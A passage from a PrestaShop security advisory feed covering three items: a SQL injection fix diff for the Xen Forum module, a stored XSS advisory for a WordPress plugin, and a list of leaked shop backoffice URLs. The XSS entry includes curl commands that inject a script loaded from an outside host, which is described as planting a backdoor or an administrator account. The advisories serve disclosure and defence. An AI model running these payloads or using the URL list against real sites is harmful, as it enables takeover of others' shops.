     public static function getListAttachments($ids)
     {
         $sql = 'SELECT *, id_xenforum_attachment as id
<span class="gd">-            FROM '._DB_PREFIX_.'xenforum_attachment WHERE id_xenforum_attachment IN ('.implode(',', $ids).');';
</span><span class="gi">+            FROM '._DB_PREFIX_.'xenforum_attachment WHERE id_xenforum_attachment IN ('.implode(', ', array_map('intval', $ids)).');';
</span>         return DB::getInstance()-&gt;executeS($sql);
     }
 }
<span class="gh">diff -bpru a/classes/XenForumCat.php b/classes/XenForumCat.php
</span><span class="gd">--- a/classes/XenForumCat.php
</span><span class="gi">+++ b/classes/XenForumCat.php
</span><span class="p">@@ -60,7 +60,7 @@</span> class XenForumCat extends ObjectModel
             $ql .= ' AND (pc.`private` = 0';
             // Allow this user access to private forum
             if (!empty($validations)) {
<span class="gd">-                $ql .= ' OR pc.`id_xenforum_cat` IN ('.pSQL($validations).')';
</span><span class="gi">+                $ql .= ' OR pc.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $validations)).')';
</span>             }
             $ql .= ')';
         }
<span class="p">@@ -82,7 +82,7 @@</span> class XenForumCat extends ObjectModel
             if (empty($availables)) {
                 return false;
             }
<span class="gd">-            $sql .= ' AND pc.`id_xenforum_cat` IN ('.pSQL(implode(',', $availables)).')';
</span><span class="gi">+            $sql .= ' AND pc.`id_xenforum_cat` IN ('. implode(', ', array_map('intval', $availables)) . ')';
</span>         }
 
         $sql .= ' AND pc.`id_parent` = '.(int)$id_parent.';';
<span class="p">@@ -114,7 +114,7 @@</span> class XenForumCat extends ObjectModel
             if (empty($availables)) {
                 return false;
             }
<span class="gd">-            $sql .= ' AND pc.`id_xenforum_cat` IN ('.pSQL(implode(',', $availables)).')';
</span><span class="gi">+            $sql .= ' AND pc.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $availables)).')';
</span>         }
 
         $sql .= ' AND pc.`id_parent` = '.(int)$id_parent.'
<span class="gh">diff -bpru a/classes/XenForumPost.php b/classes/XenForumPost.php
</span><span class="gd">--- a/classes/XenForumPost.php
</span><span class="gi">+++ b/classes/XenForumPost.php
</span><span class="p">@@ -161,7 +161,7 @@</span> class XenForumPost extends ObjectModel
     {
         $sql = 'SELECT * FROM '._DB_PREFIX_.'xenforum_post p
             LEFT JOIN '._DB_PREFIX_.'xenforum x ON (p.id_xenforum = x.id_xenforum)
<span class="gd">-            WHERE p.active= 1 AND x.id_xenforum_cat IN ('.pSQL(implode(',', $category_ids)).')';
</span><span class="gi">+            WHERE p.active= 1 AND x.id_xenforum_cat IN ('.implode(', ', array_map('intval', $category_ids)).')';
</span> 
         if (!$posts = Db::getInstance()-&gt;executeS($sql)) {
             return 0;
<span class="p">@@ -219,7 +219,7 @@</span> class XenForumPost extends ObjectModel
             if (empty($availables)) {
                 return false;
             }
<span class="gd">-            $sql .= ' AND b.`id_xenforum_cat` IN ('.pSQL(implode(',', $availables)).')';
</span><span class="gi">+            $sql .= ' AND b.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $availables)).')';
</span>         }
 
         $sql .= ' ORDER BY a.`created` DESC LIMIT '.(int)$limit.';';
<span class="gh">diff -bpru a/classes/XenForumTopic.php b/classes/XenForumTopic.php
</span><span class="gd">--- a/classes/XenForumTopic.php
</span><span class="gi">+++ b/classes/XenForumTopic.php
</span><span class="p">@@ -210,7 +210,7 @@</span> class XenForumTopic extends ObjectModel
     public function getTotalByCat($category_ids = null)
     {
         $sql = 'SELECT COUNT(id_xenforum) FROM `'._DB_PREFIX_.'xenforum`
<span class="gd">-            WHERE `active` = 1 AND `id_xenforum_cat` IN ('.pSQL(implode(',', $category_ids)).')';
</span><span class="gi">+            WHERE `active` = 1 AND `id_xenforum_cat` IN ('.implode(', ', array_map('intval', $category_ids)).')';
</span> 
         return Db::getInstance()-&gt;getValue($sql);
     }
<span class="p">@@ -234,7 +234,7 @@</span> class XenForumTopic extends ObjectModel
             if (empty($availables)) {
                 return false;
             }
<span class="gd">-            $sql .= ' AND a.`id_xenforum_cat` IN ('.pSQL(implode(',', $availables)).')';
</span><span class="gi">+            $sql .= ' AND a.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $availables)).')';
</span>         }
 
         $sql .= ' ORDER BY a.`highlight` DESC, a.`id_xenforum` DESC LIMIT '.(int)$limit_start.', '.(int)$limit;
<span class="p">@@ -264,7 +264,7 @@</span> class XenForumTopic extends ObjectModel
             if (empty($availables)) {
                 return false;
             }
<span class="gd">-            $sql .= ' AND a.`id_xenforum_cat` IN ('.pSQL(implode(',', $availables)).')';
</span><span class="gi">+            $sql .= ' AND a.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $availables)).')';
</span>         }
 
         $sql .= ' ORDER BY a.`highlight` DESC, a.`id_xenforum` DESC LIMIT '.(int)$limit_start.', '.(int)$limit;
<span class="p">@@ -282,7 +282,7 @@</span> class XenForumTopic extends ObjectModel
         $sql = 'SELECT a.*, u.* FROM `'._DB_PREFIX_.'xenforum` a
                 LEFT JOIN `'._DB_PREFIX_.'customer` c ON (a.`id_author` = c.`id_customer`)
                 LEFT JOIN '._DB_PREFIX_.'xenforum_user u ON (u.`id_xenforum_user` = c.`id_customer`)
<span class="gd">-                WHERE a.`active` = 1 AND c.`active` = 1 AND a.`id_xenforum_cat` IN ('.pSQL(implode(',', $category_ids)).')';
</span><span class="gi">+                WHERE a.`active` = 1 AND c.`active` = 1 AND a.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $category_ids)).')';
</span>         $sql .= ' ORDER BY a.`id_xenforum` DESC LIMIT 1';
 
         if ($values = Db::getInstance()-&gt;executeS($sql)) {
<span class="p">@@ -383,7 +383,7 @@</span> class XenForumTopic extends ObjectModel
             if (empty($availables)) {
                 return false;
             }
<span class="gd">-            $sql .= ' AND a.`id_xenforum_cat` IN ('.pSQL(implode(',', $availables)).')';
</span><span class="gi">+            $sql .= ' AND a.`id_xenforum_cat` IN ('.implode(', ', array_map('intval', $availables)).')';
</span>         }
 
         if (!$posts = Db::getInstance()-&gt;executeS($sql)) {
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyong 2.13.0.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-24</td>
      <td>Issue discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2022-10-24</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2022-11-08</td>
      <td>Retry to obtain a response from the author</td>
    </tr>
    <tr>
      <td>2022-11-17</td>
      <td>Contact PrestaShop Addons Team</td>
    </tr>
    <tr>
      <td>2023-01-16</td>
      <td>Fix published on addons PrestaShop marketplace</td>
    </tr>
    <tr>
      <td>2023-01-28</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-06</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/blog-forum-new/19299-xen-forum.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-24763">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Xen Forum” (xenforum) edited by App1pro, an authenticated user can perform SQL injection in affected versions. 2.13.0 fixed vulnerabilities.]]></summary></entry><entry><title type="html">CWE-79 Danger of stored XSS vulnerability in CMS especially for Wordpress</title><link href="https://security.friendsofpresta.org/wordpress/2023/03/03/stored-xss-wordpress.html" rel="alternate" type="text/html" title="CWE-79 Danger of stored XSS vulnerability in CMS especially for Wordpress" /><published>2023-03-03T00:00:00+00:00</published><updated>2023-03-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/wordpress/2023/03/03/stored-xss-wordpress</id><content type="html" xml:base="https://security.friendsofpresta.org/wordpress/2023/03/03/stored-xss-wordpress.html"><![CDATA[<p>As a developer, the severity level is often considered to be low. By underestimating the gravity, we lower our guard against these vulnerabilities. However, some types of vulnerabilities called “stored XSS” are particularly critical when they spread from the front office to the back office.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>Published at</strong>: 2023-03-03</li>
  <li><strong>Platform</strong>: All CMS.</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: critical (9.0)</li>
</ul>

<p>Vulnerability by design applied on Your Channel’s plugin. This will work on any plugins which suffer of a XSS T2 F2B.</p>

<h2 id="description">Description</h2>

<p>This publication is a summary of <a href="https://www.touchweb.fr">TouchWeb</a>’s work studying the impact of XSS vulnerabilities in the context of the Wordpress CMS, following the <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">PrestaShop related publication</a></p>

<p>To highlight the criticality of XSS and give us the means to mitigate their effects, TouchWeb conducted its research based on the vulnerability of the <a href="https://wpscan.com/vulnerability/93693d45-5217-4571-bae5-aab8878cfe62">Your Channel plugins</a>, which in versions prior to 1.2.2 has a stored XSS.</p>

<p>It has been wrongly tag as MEDIUM gravity instead of <strong>CRITICAL</strong> gravity : <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0282">CVE-2023-0282</a> like many others XSS T2 F2B :</p>
<ul>
  <li><a href="https://wpscan.com/search?text=unauthenticated%20stored&amp;vuln_type=14">WP-SCAN Unauthenticated Stored XSS</a></li>
  <li><a href="https://wpscan.com/search?text=subscriber%20&amp;vuln_type=14">WP-SCAN Subscriber+ Stored XSS</a></li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H</a></p>

<h3 id="how-to-know-if-a-xss-is-critical-">How to know if a XSS is critical ?</h3>

<p>That’s important to caracterize with strictness XSS. There is too many people which only tag this vulnerability as “XSS” which is dangerous since there will be misunderstood and often under valuation of gravity.</p>

<p>The most dangerous are XSS of type 2 according to their official CWE (<a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a>), meaning Stored-XSS (or persistent XSS) and more specialy those which can be injected from FRONT by guest or assimilated to target BACK.</p>

<p>We will call them: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a> / T2-F2B (Type 2 : Stored XSS AND from Front office to Back office).</p>

<p>In summary, if you can inject a XSS from FRONT as guest (or assimilated), which will be stored in database then interprated on BACK, then it’s a critical vulnerability which must be scored CVSS 3 : 9.0+/10 since it unlocks design’s vulnerabilities (users’s administration / plugins’s administration)</p>

<p>For others XSS Type 2 F2F/B2B/B2F (front to front / back to back / back to front), you can preserve a low to medium gravity score.</p>

<p>Nevertheless, be warn that on Wordpress, XSS of type 1 can be critical if it targets a backoffice due to native predictable backoffice link (natively /wp-admin/).</p>

<h3 id="plugin-presentation">Plugin presentation</h3>

<p>The <a href="https://fr.wordpress.org/plugins/yourchannel/">Your channel</a> plugin allow, as subscriber (the lowest native role on Wordpress), to post videos.</p>

<p>The video field is not protected in the sense that the entered value is stored as is in the database and displayed without escaping in the back office.</p>

<p>Example:</p>
<ul>
  <li>yrc_lang[Videos] entered: <strong>my name</strong></li>
  <li>result: my name will be displayed in bold in the back office in Your Channel’s settings.</li>
</ul>

<p>From then on, it is possible to inject malicious JavaScript, for example: <code class="language-plaintext highlighter-rouge">&lt;script src='test.js'&gt;</code></p>

<h3 id="proof-of-concept">Proof of concept</h3>

<p>Touchweb provides two benign JavaScript scripts that highlight the vulnerability for Wordpress 4.0+ (we tested for 6.1.1).</p>
<ul>
  <li>Script A allows injecting a classic-editor plugin containing a backdoor without the knowledge of a moderator, i.e. an administrator with rights.</li>
  <li>Script B allows injecting an administrator (we cannot “disabled it” as PS POC B on creation because WP do not allow this).</li>
</ul>

<p><strong>DO NOT TEST IT IN PRODUCTION.</strong></p>

<h3 id="how-to-reproduce">How to reproduce?</h3>

<ul>
  <li>We installed Wordpress 6.1.1</li>
  <li>We installed the <a href="https://github.com/WPPlugins/yourchannel/archive/refs/tags/0.9.1.zip">yourchannel plugin zip</a>.</li>
  <li>We allow guest on Wordpress to be able to sign up then create an account as guest</li>
  <li>Login with the account you created as guest and reproduce <a href="https://wpscan.com/vulnerability/93693d45-5217-4571-bae5-aab8878cfe62">this POC</a> :  by replacing <code class="language-plaintext highlighter-rouge">&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code> by <code class="language-plaintext highlighter-rouge">&gt;&lt;scrip src=//1j.vc/wp_a.js&gt;</code> or <code class="language-plaintext highlighter-rouge">&gt;&lt;scrip src=//1j.vc/wp_b.js&gt;</code></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -v --cookie-jar cookie.txt  -X POST -d "log=YOUR_SUBSCRIBER_LOGIN&amp;pwd=YOUR_SUBSCRIBER_PASSWORD&amp;wp-submit=Log+In" "https://preprod.XXX/wp-login.php" \
&amp;&amp; curl -v --cookie cookie.txt -X POST -d "action=yrc_save_lang&amp;yrc_lang[Videos]=%22%3E%3Cscript%20src%3Dhttps%3A%2F%2F1j.vc%2Fwp_a.js%3E%3C%2Fscript%3E" -H "Content-Type: application/x-www-form-urlencoded" https://preprod.XXX/wp-admin/admin-ajax.php
</code></pre></div></div>

<ul>
  <li>As administrator, return to the back office on plugin’s configuration page (Settings &gt; Your Channel)</li>
</ul>

<h3 id="how-to-best-protect-yourself">How to best protect yourself?</h3>

<p>In the face of a Stored XSS vulnerability targeting the back office, it is impossible to undo all the effects. However, the most dangerous exploits can be limited.</p>

<ul>
  <li>Systematically escape characters ‘ “ &lt; and &gt; by replacing them with HTML entities and applying strip_tags</li>
  <li>Limit to the strict minimum the length’s value in database - a database field which allow 10 characters (<code class="language-plaintext highlighter-rouge">varchar(10)</code>) is far less dangerous than a field which allow 40+ characters (use cases which can exploit fragmented XSS payloads are very rare)</li>
  <li>Configure CSP headers (content security policies) by listing  externals domains allowed to load assets (such as js files) or being called in XHR transactions (Ajax).</li>
  <li>If applicable: check against all your frontoffice’s uploaders, uploading files which will be served by your server with mime type application/javascript (like every .js natively) must be strictly forbidden as it must be considered as dangerous as PHP files.</li>
  <li>Activate OWASP 941’s rules on your WAF (Web application firewall) - be warn that you will probably break your backoffice and you will need to preconfigure some bypasses against these set of rules.</li>
</ul>

<h3 id="how-to-know-if-im-already-infected-by-a-xss-of-type-2-stored-xss">How to know if I’m already infected by a XSS of type 2 (Stored-XSS)?</h3>

<p>You must check every tables within your database which could store guest’s input, at least against common XSS injection. 
You can find a list of potential hijacked events on <a href="https://github.com/PrestaShop/PrestaShop/blob/develop/classes/Validate.php#L507">PrestaShop method Validate::isCleanHtml()</a></p>

<p>Be warned that you will probably face falses positives alerts which can be time consumming.</p>

<h3 id="how-cmss-core-team-can-help-ecosystem-about-csp-headers-">How CMS’s core team can help ecosystem about CSP headers ?</h3>

<p>If you already setup CSP headers, you already know that it’s a plague on our E-Commerce ecosystem with tens externals dependancies (cariers / banks / tracking / remarketing / …), to setup and more over to maintain over time.</p>

<p>This chaos generate front/back breaks on updates which make it stressfull for all professionnals trying to strength their protection against XSS.</p>

<p>It would be very appreciated if core team constrains plugins developpers to list with strictness their externals dependancies in a normative way which permit a professional generation of CSP headers - not based on chaotic front/back exploration.</p>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="wordpress" /><summary type="html"><![CDATA[As a developer, the severity level is often considered to be low. By underestimating the gravity, we lower our guard against these vulnerabilities. However, some types of vulnerabilities called “stored XSS” are particularly critical when they spread from the front office to the back office.]]></summary></entry><entry><title type="html">Backoffices’s compromised links</title><link href="https://security.friendsofpresta.org/brute-force/2023/03/02/compromised-bo-links.html" rel="alternate" type="text/html" title="Backoffices’s compromised links" /><published>2023-03-02T00:00:00+00:00</published><updated>2023-03-02T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/brute-force/2023/03/02/compromised-bo-links</id><content type="html" xml:base="https://security.friendsofpresta.org/brute-force/2023/03/02/compromised-bo-links.html"><![CDATA[<p><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a> (SQL Injection) on PrestaShop can force a super admin creation without difficulty. If your Prestashop suffer of a known backoffice’s link (see list below), the attacker can use the “Forgotten password” functionnality after the creation of the super admin user by SQL Injection and then, will be able to connect to the Shop’s backoffice.</p>

<p>Be warned that your random table’s prefix is completely useless against blackhats with senior DBA skill because of a design vulnerability in DBMS.</p>

<p>This logical weakness is shared by most popular CMS which prioritize accessibility to the detriment of security. No blame, it’s a non-resolvable conjunctural antagonism due to CMS’s target.</p>

<p>Security is constraint. The lower the constraint, the more accessibility but the lower the security.</p>

<h3 id="why-my-backoffice-link-is-known-">Why my backoffice link is known ?</h3>

<p>As far as we know, we highly suspect S2 2022’s attack campaign which exploit <a href="https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html">appagebuilder</a> and <a href="https://security.friendsofpresta.org/modules/2023/03/01/stripejs.html">stripejs</a> vulnerabilities to be the source of this list.</p>

<h3 id="what-to-do-if-my-backoffice-link-is-listed-below-">What to do if my backoffice link is listed below ?</h3>

<p>You should update it without delay else, if you are not under WAF and if one of your module suffer of a <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a>, you maximize your risks of being hacked.</p>

<p>You should also consider to put your backoffice under IP constraint.</p>

<h2 id="list-of-known-backofficess-links">List of known backoffices’s links</h2>

<p>Last refresh date : 2023-03-02</p>

<p><em>For readability reasons, we have removed from this list this pattern : admin[0-9]{1,4}, but keep in mind that this is actively scanned too.</em>
<em>There is still some common predictable patterns in the list below but the majority is not predictable - if your backoffice’s link is inside, consider at 95% that you have been hacked or will be in a near futur.</em></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/04dkwm8civzi0z6z/
/0az87bktydagoexf/
/0yvkfveen5kay8st/
/1Ad7eA22sB/
/1q2w3e/
/2691admin/
/26admin2045/
/2yinflvcpot4mopj/
/2zfvuvceq4qquflr/
/321admin/
/3hztlj2eybnwypjf/
/44626783/
/4admin/
/4dm1nP4r4gu4y/
/5kpvpn1v3pds5pck/
/5oydqwoorxkmdz8r/
/5svpuvhgsnqjgd98/
/6admin-R375/
/6btt7v0drycb9o9u/
/7a3vvlthi90s7vcc/
/7fhlvfztecutyxst/
/7kur1oqlgfzlhv8w/
/7u7qgep2k69uwvm9/
/8bjMmV4G9/
/8bthj2agfuookrdr/
/8dm1nTex/
/8mba8wfyzz4feuwr/
/8rum7vjsrqcfu9ye/
/8s5rip4gi94gsahl/
/8tpivnvag5gq4vdd/
/8xe2lkoee1idbj0q/
/9a9zm4gw3szlmx8u/
/9azcyxvuv0wlvpft/
/9iywdp8q3fwuzef7/
/9klesfetmk0dzovq/
/aagxgfebyc62fwm8/
/aaxD34Tamp/
/abrx9aovtduco9bt/
/accesadministration/
/acceso-gestion/
/acer342/
/acp32/
/ad123/
/add/
/adenrele/
/adhava35/
/adk3-91nvjkwp/
/adliterie99hoteliere/
/adm/
/adm06/
/adm1r3r/
/adm20/
/adm_23SAkv9/
/adm81/
/admicon/
/admimm/
/_admin/
/admin@@@/
/admin002/
/admin005hudmhi/
/admin007/
/admin007007/
/admin01/
/admin015/
/admin019/
/admin061211/
/admin062015/
/admin067/
/admin083/
/admin099/
/admin108iwxxmz/
/admin11071995/
/admin1120NK/
/admin1120WS/
/admin12@12/
/admin123pl/
/admin12kf6n9/
/admin17127217/
/admin1975am/
/admin202088/
/admin2020yupi/
/admin20211/
/admin20gkmdv5651v/
/admin22543_SPZRLX/
/admin241jfrwvv/
/admin280121/
/admin30!!/
/admin32470!/
/admin-32812/
/admin_33/
/admin353PV/
/admin3apadan64jsyksn/
/admin3oib/
/admin436ucosr8/
/admin4dg324s/
/admin551kzysns/
/admin646cemtr/
/admin6df5gh1d3f51hd35fh1/
/admin769b7/
/admin771jvfphi/
/admin7823sdrferk/
/admin-789h6vmpg/
/admin78amir/
/admin832vdx2k3/
/admin873pngy9/
/admin88nikand9spw19n/
/admin88sacaly/
/admin996Pel/
/admin_abn/
/admin_adrefzw/
/adminaeF3qu/
/adminagrifer/
/adminahlkjsdh6jhgdsa82987jhgsd863sdgk9872gd78iugaf27/
/adminaj/
/adminakshopgr/
/admin_alma/
/adminANALITICAMENTE/
/adminanmapet/
/adminanzalo/
/adminaqua/
/adminarion/
/adminarke/
/admin_arredamenti/
/admin_ars/
/admin_art4sense/
/adminas/
/adminasn123/
/adminavto7605/
/admin-aw/
/adminb4M7l7G963/
/adminbamb1n1/
/adminbeallure/
/adminben/
/adminbh/
/adminbiuromix/
/adminbls05/
/adminBMLb4M7l7G/
/admin-bnidark1168/
/adminbodinettezd/
/adminboessa/
/adminbooband/
/adminbp/
/adminbuv/
/admincagnazzo/
/admincarlton5984/
/admincasar/
/admincasual7605/
/admincbd/
/admincc/
/adminCDB/
/admincdm/
/adminCH/
/admin_charlette/
/admin-cityfashion/
/admincJHgjhlkjHldFGd78jhkg5463ghhghKfyitFJHfg/
/adminCliChef/
/adminclubaventura/
/admin_cmtshop/
/admincoco/
/admin_collect454545/
/adminconfort/
/AdminConPdeParty/
/admincontrol/
/admin_control2020/
/admincosme/
/admin_cosval/
/admin_cp/
/admincp/
/admincp-under/
/admindami/
/admindapro/
/admindavid/
/admindekor/
/admin-dev/
/admindev/
/adminDEV/
/adminDG0420/
/admin_diaxiristiko/
/admindiceglie/
/admindichio/
/admin-dm/
/admin-dps/
/adminds/
/admin-duduligzdas/
/admine/
/admin_ecigloo/
/adminelli/
/admin-eloaove/
/adminEM0220/
/adminEmo/
/adminEntona1982/
/adminEP1119/
/admin-eransa/
/admines123/
/adminevolve/
/adminf/
/adminFacilePrestaShop/
/adminfide/
/adminfinisterre/
/admin-fKSAbJFxYB/
/admin_flickerglass/
/adminflx/
/admin_foessel454545/
/admin_fwc/
/adming5/
/admingajda/
/admin_gas/
/adminGF/
/adminglob/
/admin-gold/
/admin_hair/
/admin-helga/
/admin_hermida/
/admin_hiperfiestas/
/adminhomy/
/adminhot/
/admin_ibrio/
/admin_ideapreziosa/
/admin_IM1020/
/admin-imix/
/admin_imprim454545/
/admin-ina-1/
/admining/
/adminintima/
/admin_intimouno/
/adminiris/
/adminISP/
/administrace/
/administracja/
/administrador/
/administrar/
/administrare/
/administratie/
/administration/
/administration_LBL_1.7.6.8/
/administrator/
/administravimas/
/admin-izi/
/adminJAL/
/adminjunior/
/adminka/
/admin-kambala/
/admin_kamome/
/adminkasia/
/adminkate/
/admin-keyza/
/AdminKonestilochic/
/adminkonik85/
/admin-kreling/
/adminktr/
/adminkurzachata/
/adminkvetiny/
/admin_LA0521/
/adminlab/
/adminLab/
/admin_lacomed/
/adminLav/
/adminleo/
/adminlk/
/admin_locherber/
/adminlogin/
/adminlogin123/
/adminloja/
/adminltk/
/adminluppolo/
/adminlws/
/adminmaisonbosc/
/admin_majida/
/adminmaqueta/
/adminmarkez/
/adminmb/
/adminmdg8792/
/admin-men/
/adminmocla/
/admin_montijo/
/adminmooon/
/admin_mop/
/adminmotha/
/adminMOVIL/
/admin_moyo/
/adminMP/
/adminMR0221/
/adminn/
/adminnalaim/
/admin_naturocare/
/adminnb/
/adminnbxasho/
/admin_new/
/adminnexmoto/
/adminNico/
/adminnj/
/adminNJ/
/adminnoluma/
/adminnumeroventidue/
/admin-official-ic/
/adminoleama/
/adminomar/
/admin_onefit/
/adminontime/
/adminooy5Ke/
/adminorgasmo/
/admin-ovh19/
/adminoyj/
/adminp/
/admin-pageart/
/adminpanel/
/adminpapieromat/
/adminparafar/
/adminparisac/
/adminpb/
/adminpdm/
/adminpensobio/
/adminpere/
/adminPerfumy/
/adminperlau/
/adminPFacial/
/admin_PI0321/
/admin_piccoleghiande/
/adminpippo/
/admin_pixla/
/adminpk/
/adminprensiti/
/admin-pro/
/admin-ps/
/admin_ps/
/adminps/
/adminpsl/
/admin_puntera/
/adminr/
/adminraphael/
/AdminRBL/
/adminrdx/
/admin_rebellerie/
/adminRedpipe/
/adminRep3ljuri2020/
/adminROANJA/
/admin_roma/
/adminRoot/
/adminrosa1974/
/adminrp/
/admin_rsalvador/
/adminrta472bm/
/adminSbike19/
/adminscc/
/adminsessi/
/adminsexami/
/adminShoes/
/admin-shop/
/admin_shop/
/adminshop/
/adminshoucangjie/
/admin-site/
/adminskjdhks9879sdyid876sdyf6sd65sftysdr564sdytsd6547/
/adminsklep/
/adminsmooke/
/admin_solotudonna/
/admin_special/
/adminstock/
/admin-store/
/adminstores/
/adminstyle/
/adminsupplex/
/admint1010/
/admintamas/
/admin_tangamania/
/admintcm/
/admintea/
/admin-ti/
/admin_tiendaonline/
/admin-tiffany-private-access/
/admin_time/
/admintm/
/admin_todoconfi/
/admin_trs/
/admintutu/
/admin_TuVampi/
/admintwenty/
/admin_unocasa/
/admin_urbe/
/adminus/
/adminvalugeecommerce/
/adminvdv/
/admin-viale/
/adminvieux/
/adminvino/
/adminviolfed/
/adminvova2019/
/adminvtvbv1/
/adminwe/
/adminweb/
/adminwgc/
/adminwh/
/adminxato/
/adminxeral/
/adminxl/
/adminy/
/adminyanxuanmall/
/adminyucca/
/adminyyy/
/adminzanimal/
/admin-zone/
/adminzora/
/admin_zsp/
/admn26/
/admorderca/
/Adoze35/
/Adpro35/
/adsibon/
/adumgpnegoyevlss/
/agatadmin/
/agvtejubiyuwkii2/
/aljfaocaad4yesov/
/amjzfccjfpcddy2q/
/amministrazione/
/annodd/
/areariservata/
/artimon/
/aruhaz/
/avataronadmin19/
/ax4gykjzrgo0otny/
/ayth0yifxuxtnwav/
/b2b/
/b4snjrqcfiov4gb6/
/back/
/backend/
/backjuliooo566_67576/
/backoffice/
/Backoffice/
/BackOffice/
/backofficeadmin321/
/backofficehenikma/
/baglokalet/
/baladmin/
/bebe17032021x/
/becad/
/belfabvrp9yqo859/
/bfbz1evs0xb0x8zl/
/bgt8a6c5suc1yhx8/
/bhmkoxx7jrcjlsou/
/bhtgrti33sqakxdn/
/bjnuefpw0wif7xci/
/BL_TNS_Administration/
/bms-admin/
/bo/
/bo_broom_81/
/bocadmin/
/boss/
/botiga/
/bo-val/
/BOzaplecze20/
/bs_admin/
/bsz0xhtttjrb3rzz/
/btctr9yemk7e27q6/
/caansoft.com.admin/
/cabiadmin/
/callishop/
/chezBogaToAdmin/
/citizenadmin/
/cktucecazceyp8gk/
/cmrpfecjv0wzuulp/
/cms/
/cnytadmin/
/connect/
/connexion/
/console-murpharm21/
/contmanager/
/control/
/control6745/
/control7490/
/control7546/
/control8495/
/control8563/
/control9108/
/control9375/
/control9390/
/control9395/
/control9597/
/controle/
/cowpvaojhcoudamq/
/cpanel/
/csiadmin/
/cslc5vkd3s6xoxhj/
/cubittadmin/
/cvmept9op6yljqsw/
/cz6j7gcnzwzjivth/
/d44ffdwz4mnanbks/
/d9u4evuoyuusdhiu/
/dartvader/
/dash/
/dashboard/
/dashboard7856Km_enteryes/
/dashbord/
/datos/
/dbm1k6uxjsb2snxv/
/DC_Store/
/dealadmin/
/dgg7qeq6fsfmuvvq/
/diacon/
/Dizeijhde5482/
/djw8le7lgr6wmeq3/
/@dmin/
/_dmin57/
/dmp8zs3/
/doadmin/
/DrgB14-tTr/
/ds0M1EM2/
/dw-backend/
/dyamond/
/e10xqe60pkw71h55/
/eclisseadmin/
/egv@k7P/
/elboad123/
/elegxos/
/emback19922020/
/emeritaf19922020/
/enei0lbcgeq3zzov/
/eoffice/
/eppsqg3uucw07dn6/
/eraseAdmin/
/eshoped/
/etf8mxz6e9qoxg29/
/eth3hzfacxibah0y/
/evte5baiutamzbm9/
/eye22cnp0rqjbcmp/
/f3rn4nd44r14s0nl1n3/
/f88ngmk7zeeydati/
/fam_admin/
/fanamac_admin/
/farmacialosaltoss21/
/fbkgldmdg29kswdd/
/fcijrtc9iog5zf26/
/ffwxqccdc69ebs9a/
/fhe3rvhrqwvdudod/
/fj3kj6i7jvai1uo5/
/flsltnh6ctxwwtib/
/fuaoaa9wg5dmebcy/
/fwnkhms/
/gerencia/
